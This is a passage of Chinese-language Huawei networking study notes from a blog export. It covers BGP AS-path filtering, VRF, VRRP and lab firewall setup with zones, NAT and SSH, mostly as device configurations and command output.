100.1.1.2 0 0 <100:1> *> 10.1.4.0/24 100.1.1.3 0 0 <100:2> *> 10.1.5.0/24 100.1.1.3 0 0 <100:2> *> 10.1.6.0/24 100.1.1.4 0 0 <100:2> *> 10.1.7.0/24 100.1.1.4 0 0 <100:2> 策略修改 AS_PATHroute-policy add-as permit node 10 apply as-path 123 addiviteroute-policy add-as2 permit node 10 apply as-path 123 overwrite[R2-bgp]peer 23.1.1.3 route-policy add-as export AS-path-filterAS-path-filter: AS 路径过滤器, 是 BGP 中一个特有的过滤器, 可以与路由策略配合使用, 对 BGP 的路由进行过滤或属性的调整. AS-path-filter 在使用时通过正则表达式对 BGP 路由中的 AS - PATH 属性进行配置 正则表达式符号^:起始符, 表示一个字符串开始 ^1010 20 3010 11 12100 110 120 $:结束符, 表示一个字符串的结束. 10$30 20 10120 110 _:匹配任意一个符号, 包括括号和空格. _100$ 从AS100始发的路由 .:可以用于匹配任意的单个字符, 包括空格. 0.10x10110210 1 +:用于匹配前面的序列, 可以出现 1 次或多次. 12+121221222 *:用于匹配前面的序列, 可以出现 0 次或多次. 12*1121221222 ? :用于匹配前面的序列, 可以出现 0 次或 1 次. 12?112 () : 一个序列优先计算, 一般可以与 | 配合使用. | : 逻辑或 12(3|4)561235612456 [] : 用于匹配一个序列的范围, 一般可以与 - 配合使用. -: 连接符, 一般用于表示一个序列范围. 12[3456] 等同于 12[3-6] 123124125126 正则表达式举例: ^100$ : 从相邻的 AS 100 始发的路由. ^$ : 本 AS 始发的路由. _100$ : 从 AS100 始发的路由 ^100_ : 从相邻的 AS 100 传入的路由. _100_ : 途径 AS 100 的路由. .*:匹配任意的 BGP 信息 ^[0-9]+$ : 从相邻 AS 始发的路由. [0-9][0-9][0-9][0-9][0-9] 需求1: 在R6中过滤掉始发于AS200 的路由[R6-bgp]dis bgp routing-table Total Number of Routes: 6 Network NextHop MED LocPrf PrefVal Path/Ogn *> 10.1.1.0/24 56.1.1.5 0 500 400 100? *> 20.1.1.0/24 56.1.1.5 0 500 300 200? *> 30.1.1.0/24 56.1.1.5 0 500 300? *> 40.1.1.0/24 56.1.1.5 0 500 400? *> 50.1.1.0/24 56.1.1.5 0 0 500? *> 60.1.1.0/24 0.0.0.0 0 0 ?[R6]ip as-path-filter deny_200 deny ? TEXT A regular-expression of 1 to 255 characters for matching AS_Path attributes[R6]ip as-path-filter deny_200 deny _200$ // 拒绝始发于 AS200 的路由[R6]ip as-path-filter deny_200 permit .* // 未匹配的路由默认为拒绝,这里修改为放行[R6-bgp]peer 56.1.1.5 as-path-filter deny_200 ? export Egress distribution list import Ingress distribution list[R6-bgp]peer 56.1.1.5 as-path-filter deny_200 import // BGP 调用 as-path-filter[R6-bgp]dis bgp routing-table Total Number of Routes: 5 Network NextHop MED LocPrf PrefVal Path/Ogn *> 10.1.1.0/24 56.1.1.5 0 500 400 100? *> 30.1.1.0/24 56.1.1.5 0 500 300? *> 40.1.1.0/24 56.1.1.5 0 500 400? *> 50.1.1.0/24 56.1.1.5 0 0 500? *> 60.1.1.0/24 0.0.0.0 0 0 ?----AS200始发的路由 MED 修改为 50[R2-bgp]dis bgp routing-table Total Number of Routes: 9 Network NextHop MED LocPrf PrefVal Path/Ogn *> 10.1.1.0/24 12.1.1.1 0 0 100? *> 20.1.1.0/24 0.0.0.0 0 0 ? *> 30.1.1.0/24 23.1.1.3 0 0 300? *> 40.1.1.0/24 12.1.1.1 0 100 400? * 23.1.1.3 0 300 500 400? *> 50.1.1.0/24 23.1.1.3 0 300 500? * 12.1.1.1 0 100 400 500? *> 60.1.1.0/24 23.1.1.3 0 300 500 600? * 12.1.1.1 0 100 400 500 600?[R2]ip as-path-filter AS200 permit ^$ // 本AS始发的路由[R2-route-policy]dis throute-policy set-med permit node 10 if-match as-path-filter AS200 apply cost 50[R2-bgp]import-route static route-policy set-med [R2-bgp]dis bgp routing-table Total Number of Routes: 9 Network NextHop MED LocPrf PrefVal Path/Ogn *> 10.1.1.0/24 12.1.1.1 0 0 100? *> 20.1.1.0/24 0.0.0.0 50 0 ? *> 30.1.1.0/24 23.1.1.3 0 0 300? *> 40.1.1.0/24 12.1.1.1 0 100 400? * 23.1.1.3 0 300 500 400? *> 50.1.1.0/24 23.1.1.3 0 300 500? * 12.1.1.1 0 100 400 500? *> 60.1.1.0/24 23.1.1.3 0 300 500 600? * 12.1.1.1 0 100 400 500 600?------- BGP 对等体组BGP 对等体组: 是一些具有相同策略的对等体的集合, 当一个对等体加入对等体组中, 该对等体将获得与所在 BGP 对等体组相同的配置, 当对等体组的配置改变时, 组内成员的配置也相应改变. 在大型 BGP 网络中, 由于对等体的数量很多, 其中很多对等体具有相同的策略, 在配置时会重复使用一些命令, 利用对等体组可以简化配置. group ibgp internalpeer ibgp connect-interface LoopBack0peer ibgp password simple huawei123peer ibgp reflect-clientpeer ibgp next-hop-localpeer x.x.x.x group ibgp----group ebgp externalpeer ebgp as-number 300peer ebgp ebgp-max-hop 2peer ebgp connect-interface LoopBack0peer ebgp password simple huawei123peer x.x.x.x group ebgp"},{"title":"","date":"2024-03-11T03:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/25.html","permalink":"https://blog.mhuig.top/notes/datacom/25","excerpt":"","text":"VRF 虚拟路由转发 VRF 虚拟路由转发 VRFVRF: 虚拟路由转发, 在三层将路由环境分割成多个虚拟环境, 每个虚拟环境之间都是完全隔离的. 通过用于 MPLS VPN 以及 VRF 中实现应用的隔离. 又称为 VPN 实例, 是一种虚拟化技术, 每个 VPN 实例拥有独立的接口, 路由表和路由协议进程. 应用场景公司具备两张网络, 管理网络和生产网络, 此时如果两个网络需要隔离可以采用如下方案: 1. 通过 ACL 实现隔离: 缺点: 配置繁琐, 扩展性较差. 无法解决两张网络中网段重叠的问题 2. 物理隔离: 缺点: 需要增加新的设备, 造成额外的投入成本. 3.VRF: 通过部署虚拟实例, 让两个网络完全隔离, 并且无需增加新的设备投入. VRF 实现过程VRF 是对物理设备的一个逻辑划分. 每个逻辑单元称为一个 VPN 实例, 实例之间在路由层面上是完全隔离的 1. 创建实例, 并且将三层接口绑定到实例中. ip vpn-instance XXXXipv4-family interface GigabitEthernet0/0/x ip binding vpn-instance XXXX 2. 配置实例绑定的路由信息. ip route-static vpn-instance GUANLI 2.2.2.2 24 12.1.1.2ip route-static vpn-instance SHENGCHAN 3.3.3.3 24 13.1.1.3 3. 基于与实例绑定的接口和路由协议建立路由转发表, 并依据该转发表来转发数据. 在 VRF 中如果需要使用 ping 或 tracert 命令, 需要注意添加对应的 VPN 实例名, 否则默认会根据 public 路由表来进行查表. ping -vpn-instance GUANLI 12.1.1.2 实验 - 静态#sysname R1#ip vpn-instance GUANLI ipv4-family#ip vpn-instance SHENGCHAN ipv4-family#interface GigabitEthernet0/0/0 ip binding vpn-instance GUANLI ip address 12.1.1.1 255.255.255.0#interface GigabitEthernet0/0/1 ip binding vpn-instance GUANLI ip address 10.1.1.1 255.255.255.0#interface GigabitEthernet0/0/2 ip binding vpn-instance SHENGCHAN ip address 20.1.1.1 255.255.255.0#interface GigabitEthernet0/0/3 ip binding vpn-instance SHENGCHAN ip address 13.1.1.1 255.255.255.0#ip route-static vpn-instance GUANLI 2.2.2.0 255.255.255.0 12.1.1.2ip route-static vpn-instance SHENGCHAN 3.3.3.0 255.255.255.0 13.1.1.3----------------------------------------#sysname R2#interface GigabitEthernet0/0/0 ip address 12.1.1.2 255.255.255.0#interface LoopBack0 ip address 2.2.2.2 255.255.255.255#ip route-static 10.1.1.0 255.255.255.0 12.1.1.1------------------------------------------#sysname R3#interface GigabitEthernet0/0/0 ip address 13.1.1.3 255.255.255.0#interface LoopBack0 ip address 3.3.3.3 255.255.255.255#ip route-static 20.1.1.0 255.255.255.0 13.1.1.1---------------------------------------------PC>ping 2.2.2.2Ping 2.2.2.2: 32 data bytes, Press Ctrl_C to breakFrom 2.2.2.2: bytes=32 seq=1 ttl=254 time=47 msFrom 2.2.2.2: bytes=32 seq=2 ttl=254 time=47 msFrom 2.2.2.2: bytes=32 seq=3 ttl=254 time=62 msFrom 2.2.2.2: bytes=32 seq=4 ttl=254 time=31 msFrom 2.2.2.2: bytes=32 seq=5 ttl=254 time=62 ms--- 2.2.2.2 ping statistics --- 5 packet(s) transmitted 5 packet(s) received 0.00% packet loss round-trip min/avg/max = 31/49/62 msPC>------------------[R1]display ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 6 Routes : 6 Destination/Mask Proto Pre Cost Flags NextHop Interface 10.1.1.0/24 Direct 0 0 D 10.1.1.1 GigabitEthernet0/0/1 10.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 20.1.1.0/24 Direct 0 0 D 20.1.1.1 GigabitEthernet0/0/2 20.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/2 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0------------------------[R1]display ip routing-table vpn-instance SHENGCHANRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: SHENGCHAN Destinations : 3 Routes : 3 Destination/Mask Proto Pre Cost Flags NextHop Interface 3.3.3.3/32 Static 60 0 RD 13.1.1.3 GigabitEthernet0/0/3 13.1.1.0/24 Direct 0 0 D 13.1.1.1 GigabitEthernet0/0/3 13.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/3 实验 - OSPF#sysname R1#ip vpn-instance GUANLI ipv4-family#ip vpn-instance SHENGCHAN ipv4-familyinterface GigabitEthernet0/0/0 ip binding vpn-instance GUANLI ip address 12.1.1.1 255.255.255.0#interface GigabitEthernet0/0/1 ip address 10.1.1.1 255.255.255.0#interface GigabitEthernet0/0/2 ip address 20.1.1.1 255.255.255.0#interface GigabitEthernet0/0/3 ip binding vpn-instance SHENGCHAN ip address 13.1.1.1 255.255.255.0#interface LoopBack0 ip address 1.1.1.1 255.255.255.255#ospf 1 router-id 1.1.1.1 vpn-instance GUANLI area 0.0.0.0 network 12.1.1.1 0.0.0.0 network 10.1.1.1 0.0.0.0#ospf 2 router-id 1.1.1.1 vpn-instance SHENGCHAN area 0.0.0.0 network 13.1.1.1 0.0.0.0 network 20.1.1.1 0.0.0.0----------------------------------------------------#sysname R2#interface GigabitEthernet0/0/0 ip address 12.1.1.2 255.255.255.0#interface LoopBack0 ip address 2.2.2.2 255.255.255.255#ospf 1 router-id 2.2.2.2 area 0.0.0.0 network 2.2.2.2 0.0.0.0 network 12.1.1.2 0.0.0.0----------------------------------------------------#sysname R3#interface GigabitEthernet0/0/0 ip address 13.1.1.3 255.255.255.0#interface LoopBack0 ip address 3.3.3.3 255.255.255.255#ospf 1 router-id 3.3.3.3 area 0.0.0.0 network 3.3.3.3 0.0.0.0 network 13.1.1.3 0.0.0.0------------------------------------------[R1]dis ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 7 Routes : 7 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 Direct 0 0 D 127.0.0.1 LoopBack0 10.1.1.0/24 Direct 0 0 D 10.1.1.1 GigabitEthernet0/0/1 10.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 20.1.1.0/24 Direct 0 0 D 20.1.1.1 GigabitEthernet0/0/2 20.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/2 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R1]dis ip routing-table vpn-instance GUANLIRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: GUANLI Destinations : 3 Routes : 3 Destination/Mask Proto Pre Cost Flags NextHop Interface 2.2.2.2/32 OSPF 10 1 D 12.1.1.2 GigabitEthernet0/0/0 12.1.1.0/24 Direct 0 0 D 12.1.1.1 GigabitEthernet0/0/0 12.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 实验 - 冲突[R1-GigabitEthernet0/0/0]ip add 10.1.1.1 24Mar 11 2024 15:45:28-08:00 R1 %%01IFNET/4/LINK_STATE(l)[0]:The line protocol IP on the interface GigabitEthernet0/0/0 has entered the UP state. [R1-GigabitEthernet0/0/0]int g0/0/1[R1-GigabitEthernet0/0/1]ip add 10.1.1.2 24Error: The specified address conflicts with another address.----------------------# sysname R1#ip vpn-instance vpna ipv4-family#ip vpn-instance vpnb ipv4-family#interface GigabitEthernet0/0/0 ip binding vpn-instance vpna ip address 10.1.1.1 255.255.255.0 #interface GigabitEthernet0/0/1 ip binding vpn-instance vpnb ip address 10.1.1.2 255.255.255.0 #interface LoopBack1 ip binding vpn-instance vpna ip address 11.1.1.1 255.255.255.255 #interface LoopBack2 ip binding vpn-instance vpnb ip address 11.1.1.2 255.255.255.255 ---------------------------------------PC>ping 11.1.1.1Ping 11.1.1.1: 32 data bytes, Press Ctrl_C to breakFrom 11.1.1.1: bytes=32 seq=1 ttl=255 time=31 msFrom 11.1.1.1: bytes=32 seq=2 ttl=255 time=15 msFrom 11.1.1.1: bytes=32 seq=3 ttl=255 time=16 msFrom 11.1.1.1: bytes=32 seq=4 ttl=255 time=16 msFrom 11.1.1.1: bytes=32 seq=5 ttl=255 time=31 ms--- 11.1.1.1 ping statistics --- 5 packet(s) transmitted 5 packet(s) received 0.00% packet loss round-trip min/avg/max = 15/21/31 ms 实验 - 旁挂防火墙#sysname R1#ip vpn-instance vpna ipv4-family#interface GigabitEthernet0/0/0 ip binding vpn-instance vpna ip address 10.1.1.1 255.255.255.0#interface GigabitEthernet0/0/1 ip address 100.1.1.1 255.255.255.0#interface GigabitEthernet0/0/2 ip address 12.1.1.1 255.255.255.0#interface GigabitEthernet0/0/3 ip binding vpn-instance vpna ip address 21.1.1.1 255.255.255.0#ip route-static 10.1.1.0 255.255.255.0 12.1.1.2ip route-static vpn-instance vpna 100.1.1.0 255.255.255.0 21.1.1.2-----------------------------------#sysname R2#interface GigabitEthernet0/0/0 ip address 12.1.1.2 255.255.255.0#interface GigabitEthernet0/0/1 ip address 21.1.1.2 255.255.255.0#ip route-static 10.1.1.0 255.255.255.0 21.1.1.1ip route-static 100.1.1.0 255.255.255.0 12.1.1.1#--------------------------------------PC>ping 100.1.1.2Ping 100.1.1.2: 32 data bytes, Press Ctrl_C to breakFrom 100.1.1.2: bytes=32 seq=1 ttl=125 time=125 msFrom 100.1.1.2: bytes=32 seq=2 ttl=125 time=125 msFrom 100.1.1.2: bytes=32 seq=3 ttl=125 time=125 msFrom 100.1.1.2: bytes=32 seq=4 ttl=125 time=141 msFrom 100.1.1.2: bytes=32 seq=5 ttl=125 time=141 ms--- 100.1.1.2 ping statistics --- 5 packet(s) transmitted 5 packet(s) received 0.00% packet loss round-trip min/avg/max = 125/131/141 msPC>tracert 100.1.1.2traceroute to 100.1.1.2, 8 hops max(ICMP), press Ctrl+C to stop 1 10.1.1.1 31 ms 47 ms 47 ms 2 21.1.1.2 62 ms 63 ms 62 ms 3 12.1.1.1 109 ms 110 ms 94 ms 4 100.1.1.2 93 ms 110 ms 109 ms"},{"title":"","date":"2024-03-12T03:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/26.html","permalink":"https://blog.mhuig.top/notes/datacom/26","excerpt":"","text":"VRRP VRRP VRRPVRRP: 虚拟路由冗余协议. 是一个用于实现网关冗余的协议. 网关 (gateway):在一个网络内数据包的出口设备. 网络层 VRRP 工作原理将多个网关设备组成一个 VRRP 组, 在一个组内维护一台虚拟路由器, 这台虚拟路由器具有独立的 IP 地址和 MAC 地址, 用于虚拟路由的 IP 地址作为网关地址. 组内会选举出一台物理设备作为 MASTER 设备, MASTER 是虚拟路由器转发数据的真实设备. 用户的流量实际上是由 MASTER 来进行转发, 组内其他设备称为 BAKCUP 设备, BACKUP 设备会监听 MASTER 状态, 检测到 MASTER 失效会成为新的 MASTER 设备, 并接替其工作. VRRP 基本概念1.VRRP 组号: 一个 VRRP 组通过组号来进行区分, 组号的取值范围 1-255. 2.VRRP 虚拟 IP:VRRP 组的虚拟路由器的 IP 地址. 实际上是由 MASTER 设备来进行维护的. 3.VRRP 虚拟 MAC: 是虚拟路由器的 MAC 地址, 其 MAC 地址与 VRID 相关. 0000-5e00-01XX 其中最后一个字节是该虚拟路由器的 VRID. 4.VRRP 优先级: VRRP 设备通过优先级数值来选举 MASTER 设备, 优先级数值越高越优先, 优先级范围为 0-255, 但用户可以配置的范围 1-254. 缺省值为 100. 优先级 0 表示设备主动放弃 MASTER 角色. 优先级 255 表示该设备为 IP 地址拥有者. 即该设备接口的 IP 地址与虚拟地址一致. 此时无论接口优先级配置成多少, 在报文中均显示为 255. [R1-GigabitEthernet0/0/1]vrrp vrid 1 virtual-ip 10.1.1.254[R1-GigabitEthernet0/0/1]vrrp vrid 1 priority 120display vrrp brief display vrrp VRRP 状态机Master: 是 master 设备最终的稳定状态, 处于 MASTER 状态的设备, MASTER 设备会通过虚拟 MAC 地址来响应虚拟 IP 地址的 ARP 请求, 会转发用户数据, 会周期性发送 VRRP 通告报文. Backup: 是 backup 设备最终稳定的状态, 处于 backup 状态的设备, 会监听 MASTER 发出的 VRRP 通告报文, 不会响应虚拟 IP 地址的 ARP 请求, 也不会为用户转发数据. Initialize: 是 VRRP 设备初始化的状态, 当接口刚运行 VRRP 时会处于该状态, 如果接口状态为 down, 则会持续处于该状态. 当一个设备配置了 VRRP 协议后, 接口处于 Initialize 状态, 此时如果接口的优先级为 255 (即该设备为 IP 地址拥有者),此时直接从 Initialize 进入 MASTER 状态, 如果优先级非 255, 则先进入 backup 状态. 处于 backup 状态的设备会启动一个 master_down 定时器, 当定时器超时后会转变为 master 状态. 当设备从 master 状态或 backup 状态检测到接口变为 down, 则进入 initialize 状态. 如果一台设备处于 master 状态, 且收到一个更优的 VRRP 通告报文, 则由 master 状态变为 backup 状态 MASTER_DOWN 计时器MASTER_DOWN 计时器 = 3 * 通告时间 + skew_time Skew_time=(256 - 接口优先级)/256 优先级数值越大的设备越先超时, 先进入 MASTER 状态, 进入后会在网络中发送 VRRP 通告报文, backup 设备收到通告报文后会刷新自己的 MASTER_DOWN 计时器, 从而持续维护 backup 状态. 当 MASTER 失效后, 不再 VRRP 报文, 此时优先级最高的 backup 设备计时器会先超时, 成为新的 MASTER 设备. 如果 backup 设备收到一个优先级为 0 的报文, backup 设备等待 skew_time 后进入 MASTER 状态. 通告时间 默认 1s 接口优先级 大 =>MASTER_DOWN 小 => 优先超时 => 优先变成 MASTER VRRP 报文VRRP 协议只有一种报文, 称为 VRRP 通告报文, 只有 MASTER 设备会发出该报文, MASTER 通过组播的方式发送 VRRP 报文 组播地址为 224.0.0.18 VRRP 基于 IP 工作, 协议号为 112 由于 backup 设备不通告报文, 所以 MASTER 设备并不知道 backup 设备的信息, 其他 backup 设备也相互不知道对方的信息. trackTrack: 在 VRRP 中可以通过 track 来检测上行链路或业务, 将 track 与 VRRP 优先级进行关联, 如果上行业务失效, 则通过降低优先级的方式来切换 master 角色. [R1-GigabitEthernet0/0/1]vrrp vrid 1 track interface GigabitEthernet0/0/0 reduced 20 VRRP 抢占延迟VRRP 抢占延迟: VRRP 协议默认开启抢占功能, master 在故障恢复后会立刻尝试抢占角色, 如果此时上行链路的路由并未收敛, 可能会导致用户的流量中断, 此时可以开启抢占延迟等待足等长的时间让上行链路收敛, 确保路由表正常后再去抢占确保用户业务不被中断. [R1-GigabitEthernet0/0/1]vrrp vrid 1 preempt-mode timer delay 45 // 设置抢占时间 VRRP 负载均衡VRRP 负载均衡: 在 VRRP 中构建多个虚拟组, 每个虚拟组都以不同的路由器作为 MASTER, 下行的业务以不同的虚拟 IP 地址作为网关, 从而可以实现让多个网关设备同时为用户转发数据当某个网关故障时, 其他的设备会接替它的 MASTER 角色, 从而实现网关冗余. [R1-GigabitEthernet0/0/1]interface GigabitEthernet0/0/1 ip address 10.1.1.1 255.255.255.0 vrrp vrid 1 virtual-ip 10.1.1.254 vrrp vrid 1 priority 110 vrrp vrid 2 virtual-ip 10.1.1.253 vrrp vrid 2 priority 105[R2-GigabitEthernet0/0/1]interface GigabitEthernet0/0/1 ip address 10.1.1.2 255.255.255.0 vrrp vrid 1 virtual-ip 10.1.1.254 vrrp vrid 1 priority 105 vrrp vrid 2 virtual-ip 10.1.1.253 vrrp vrid 2 priority 110 VRRP-BFD[R1]bfdbfd R1_TO_R3 bind peer-ip 13.1.1.3 discriminator local 1 discriminator remote 3 commit[R1-GigabitEthernet0/0/1]vrrp vrid 1 track bfd-session 1 reduced 10"},{"title":"","date":"2024-03-13T03:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/27.html","permalink":"https://blog.mhuig.top/notes/datacom/27","excerpt":"","text":"防火墙 防火墙 默认 PasswordUsername : admin Password : Admin@123 Username:adminPassword:Admin@123The password needs to be changed. Change now? [Y/N]: YPlease enter old password: Admin@123Please enter new password: huawei@123Please confirm new password: huawei@123 防火墙防火墙: 可以在不同区域之间对流量进行过滤以及隔离, 从而防止一个区域的威胁进入另一个区域, 这里边的火主要指的是网络攻击和入侵, 所以一般防火墙部署在网络的边界. 路由器和交换机的本质是转发, 而防火墙的本质是控制. 防火墙的分类包过滤防火墙: 是最早的防火墙, 通过使用 ACL 实现对流量简单的控制. 主要对经过的每一个数据包进行检查. 缺点: 1. 无法关联数据包之间的关系 2. 无法适应多通道协议 3. 通常不检测应用层数据. 代理防火墙: 在应用层代理内部网络和外部网络之间的通信, 安全性较高, 但处理速度较慢, 需要对每种应用单独开发对应服务, 因此只能对少量的服务提供代理支持. 缺点: 1. 处理效率较慢 2. 软件升级较为困难. 需要针对每一种应用开发. 状态检测防火墙: 通过动态分析报文的状态决定对报文采取的动作, 不需要为每个应用程序都进行代理, 处理速度更快且安全性较高. NGFW: 下一代防火墙, 增加了很多高级特性以及自动化分析功能, 结合 AI 和大数据自动对网络攻击进行阻断. 防火墙的特征逻辑区域的过滤器 隐藏内部网络结构 自身安全保障 主动防御攻击 目前网络防火墙在网络部署中的特点包括: 集中发放安全策略 安全功能复杂多样 需要专业的管理人员进行维护 安全隐患小 防火墙的组网方式1. 二层模式 (传输模式):防火墙只进行报文转发, 不进行路由寻址, 防火墙的接口工作于同一个 IP 子网, 防火墙本身接口无需配置 IP 地址. 不影响原来的网络结构. 2. 三层模式 (路由模式):防火墙的上下接口均配置 IP 地址, 上下的业务分别在不同的 IP 子网中, 这种组网方式可以让防火墙实现更多的安全特性, 但会改变原有的网络拓扑结构. 防火墙的安全区域防火墙的安全区域 (security zone) 或简称为 zone. 区域是一个本地的逻辑概念, 同属于一个区域的设备具备相同的安全策略属性. 区域是一个或多个接口的集合. 区域的作用: 1. 防火墙的安全策略都是基于区域来进行部署. 2. 在同一个区域内发生的数据流动是不存在安全风所以不需要实施安全策略. 3. 不同区域之间的数据流动会触发安全策略, 并按照对应的策略所执行. 4. 同一个接口只能属于一个区域, 而一个安全区域可有多个接口. 华为防火墙默认区域: 1.untrust 区域: 非信任区域, 一般用于连接安全级别较低的网络, 例如企业外部网络或 internet. 优先级为 5. 2.trust 区域: 信任区域, 一般是企业可控的网络设备可以将企业内部网络规划在内部区域. 优先级为 80. 3.DMZ 区域: 非军事化区域, 一般用于部署服务器网络, 将对外提供的服务放置在 DMZ 区域, 从而可以让外部用户访问. 优先级为 50. 4.Local 区域: 表示防火墙接口自身, 所有最终终结在防火墙的流量均认为是访问 local 区域的. 优先级为 100. 防火墙的接口必须划入到区域后才可以正常工作. 每个区域存在着一个区域优先级, 优先级数值越大表示区域越可信. 默认区域的优先级不可以更改. 任意两个区域的优先级不能相同. 防火墙默认两个区域之间的流量是 deny 的, 如果需要某些流量通过, 必须在安全策略中方向对应的流量. 实验 - 二层[FW1]display zone interface GigabitEthernet1/0/0 ip address 10.1.1.1 255.255.255.0interface GigabitEthernet1/0/1 ip address 20.1.1.1 255.255.255.0firewall zone trust add interface GigabitEthernet1/0/0firewall zone untrust add interface GigabitEthernet1/0/1security-policy rule name PC3_TO_PC4 source-zone trust destination-zone untrust source-address 10.1.1.0 mask 255.255.255.0 destination-address 20.1.1.0 mask 255.255.255.0 service icmp action permit会话表[FW1]display firewall session table 防火墙放行ping (local)[FW1-GigabitEthernet1/0/0]service-manage ping permit 实验 - 三层vlan 10interface GigabitEthernet1/0/0 portswitch port link-type access port default vlan 10interface GigabitEthernet1/0/1 portswitch port link-type access port default vlan 10firewall zone trust add interface GigabitEthernet1/0/0firewall zone untrust add interface GigabitEthernet1/0/1security-policy rule name PC1_TO_PC2 source-zone trust destination-zone untrust source-address 10.1.1.0 mask 255.255.255.0 destination-address 20.1.1.0 mask 255.255.255.0 service icmp action permit NATNAT: 可以通过在防火墙配置 NAT, 实现私网设备访问公网地址, 由于防火墙一般位于企业的边界网络, 所以 NAT 的配置也是防火墙需要掌握的基本配置之一. 1, 交换机作为 VLAN 10 与 VLAN 20 的网关, 实现两个 VLAN 内网互通. 2, 交换机与防火墙之间使用三层互联, 交换机互联 vlan 为 vlan30. sw1: 10.1.30.1/24 FW:10.1.30.2/24 防火墙作为服务器网关,配置IP地址 192.168.1.1/24 防火墙与路由器之间配置IP地址 R1:100.1.1.1/24 FW:100.1.1.2/24 路由器作为client的网关,配置IP地址200.1.1.1/24 交换机配置静态缺省路由,网关指向防火墙 3, 将防火墙的接口划入到对应区域中, 防火墙配置2条到内网的路由以及一条缺省路由 ip route-static 0.0.0.0 0.0.0.0 100.1.1.1ip route-static 10.1.10.0 255.255.255.0 10.1.30.1ip route-static 10.1.20.0 255.255.255.0 10.1.30.1 4, 防火墙上配置策略以及 NAT 实现: PC能够访问互联网中的设备 security-policy rule name PC_TO_INTERNET source-zone trust destination-zone untrust source-address 10.1.10.0 mask 255.255.255.0 source-address 10.1.20.0 mask 255.255.255.0 action permitnat-policy rule name PC_EASY_IP source-zone trust destination-zone untrust source-address 10.1.10.0 mask 255.255.255.0 source-address 10.1.20.0 mask 255.255.255.0 action source-nat easy-ip nat-policy rule name HTTP source-zone untrust destination-address 100.1.1.2 mask 255.255.255.255 service protocol tcp destination-port 8080 action destination-nat static port-to-port address 192.168.1.100 80security-policy rule name HTTP source-zone untrust destination-zone dmz destination-address 192.168.1.100 mask 255.255.255.255 action permit WEBUIinterface GigabitEthernet0/0/0 ip address 10.10.10.2 255.255.255.0 service-manage http permit service-manage https permit service-manage ping permithttps://10.10.10.2:8443 SSH1.创建用于登陆的SSH用户,并将SSH用户进行角色关联[FW1]aaa[FW1-aaa]manager-user sshadmin [FW1-aaa-manager-user-sshadmin]password cipher huawei@123[FW1-aaa-manager-user-sshadmin]service-type ssh[FW1-aaa-manager-user-sshadmin]level 15[FW1-aaa]bind manager-user sshadmin role system-admin 2.启用SSH服务,并在接口下放行SSH[FW1]int g0/0/0[FW1-GigabitEthernet0/0/0]service-manage ssh permit [FW1]stelnet server enable 3.设置vty线路[FW1]user-interface vty 0 4[FW1-ui-vty0-4]protocol inbound ssh [FW1-ui-vty0-4]authentication-mode aaa4.指定用户的登录方式[FW1]ssh user sshadmin[FW1]ssh user sshadmin authentication-type password[FW1]ssh user sshadmin service-type stelnet 5.生成RSA密钥对.[FW1]rsa local-key-pair create The key name will be: FW1_HostThe range of public key size is (2048 ~ 2048). NOTES: If the key modulus is greater than 512, it will take a few minutes.Input the bits in the modulus[default = 2048]:Generating keys......+++++........................++....++++...........++命令行c:\\>ssh sshadmin@10.10.10.2The authenticity of host '10.10.10.2 (10.10.10.2)' can't be established.ECDSA key fingerprint is SHA256:onA2uyf3daCaGnH9UsZUWjQc1FrYeSNNXBc+Bb4oiLk.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '10.10.10.2' (ECDSA) to the list of known hosts.User AuthenticationPassword:************************************************************************** Copyright (C) 2014-2018 Huawei Technologies Co., Ltd. ** All rights reserved. ** Without the owner's prior written consent, ** no decompiling or reverse-engineering shall be allowed. **************************************************************************Info: The max number of VTY users is 10, and the number of current VTY users on line is 1. The current login time is 2024-03-14 03:02:59+00:00.<FW1>syEnter system view, return user view with Ctrl+Z.[FW1] 防火墙双机热备通常情况下防火墙部署在网络的出口, 如果防火墙出现故障, 可能会导致内网的数据无法转发, 此时需要通过部署, 可能会导致内网的数据无法转发, 此时需要通过部署 2 台防火墙形成双机热备. 双机热备条件1. 组成双机热备的防火墙必须是相同型号的. 且安装相同的单板, 单板的数量与位置必须相同. 2. 两台防火墙必须具有相同的系统版本以及系统补丁, 组件包与特征库等信息也必须相同. 心跳线心跳线: 心跳线是两台防火墙交互信息了解对端状态以及备份配置命令和各种表项的通道心跳线两端的接口一般也被称为 \"心跳接口\". 心跳线中传递的信息: 1. 心跳报文 (helo 报文): 2 台防火墙定期 (默认为 1s) 交互的报文, 用于检测对端是否存活. 2.VGMP 报文: 了解对端设备 VGMP 组的状态, 确定本端和对端设备当前状态是否稳定, 是否需要进行故障切换. 3. 配置和表项备份报文: 用于两台防火墙同步配置以及状态. 4. 心跳链路探测报文: 用于检测对端设备的心跳接口是否正常接收本端设备的报文, 确定是否心跳接口可以使用. 5. 配置一致性检查报文: 用于检测两台防火墙的关键配置是否一致 (如安全策略、NAT 策略). 双机热备的工作模式1. 主备模式: 流量由单台设备处理, 路由规划和故障定位相对简单. 2. 负载分担模式: 相对于主备模式配置复杂, 需要考虑来回路径一致性, 所有的用户流量由两台防火墙同时处理, 可以承载更大的峰值流量. [FW1]firewall zone name HA[FW1-zone-HA]set priority 90[FW1-zone-HA]add interface g1/0/2[FW2]hrp interface 